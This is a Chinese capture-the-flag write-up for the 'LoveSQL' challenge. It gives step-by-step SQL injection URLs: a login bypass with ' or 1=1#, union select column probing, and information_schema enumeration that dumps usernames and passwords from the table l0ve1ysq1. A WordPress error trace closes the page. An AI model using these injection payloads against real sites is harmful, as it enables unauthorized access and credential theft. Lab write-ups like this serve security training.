极客大挑战 2019]LoveSQL

打开页面,是一个登录框,先用随机密码尝试一下

账号:1' or 1=1#
密码:随便输啥都行

拿到了账号和密码

尝试进行MD5解码,失败,继续注入

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=admin' order by 3%23&password=123 正常
http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=admin' order by 4%23&password=123 报错

查看回显点

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=1' union select 1,2,3%23&password=123 这里要使用不存在的数据,否则无法回显

查询数据库名并爆表

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=1' union select 1,database(),3%23&password=123

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=123

爆破l0ve1ysq1中的字段

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=123

直接爆破字段,拿到flag

http://b793d531-25cd-46e3-a1f1-974f1752fbc2.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=123

点赞
  1. Google Chrome Windows 7

    Fatal error: Uncaught ArgumentCountError: Too few arguments to function Walker_Comment::filter_comment_text(), 1 passed in /www/wwwroot/lolimoe.fun/wp-includes/class-wp-hook.php on line 303 and exactly 2 expected in /www/wwwroot/lolimoe.fun/wp-includes/class-walker-comment.php:267 Stack trace: #0 /www/wwwroot/lolimoe.fun/wp-includes/class-wp-hook.php(303): Walker_Comment->filter_comment_text() #1 /www/wwwroot/lolimoe.fun/wp-includes/plugin.php(189): WP_Hook->apply_filters() #2 /www/wwwroot/lolimoe.fun/wp-content/themes/kratos-master/inc/ua.php(432): apply_filters() #3 /www/wwwroot/lolimoe.fun/wp-content/themes/kratos-master/inc/ua.php(436): user_agent_display_comment() #4 /www/wwwroot/lolimoe.fun/wp-includes/class-wp-hook.php(305): user_agent() #5 /www/wwwroot/lolimoe.fun/wp-includes/plugin.php(189): WP_Hook->apply_filters() #6 /www/wwwroot/lolimoe.fun/wp-includes/comment-template.php(1028): apply_filters() #7 /www/wwwroot/lolimoe.fun/wp-includes/class-walker-comment.php(361): comment_text() #8 /www/wwwroot/lolimoe.fun/wp in /www/wwwroot/lolimoe.fun/wp-includes/class-walker-comment.php on line 267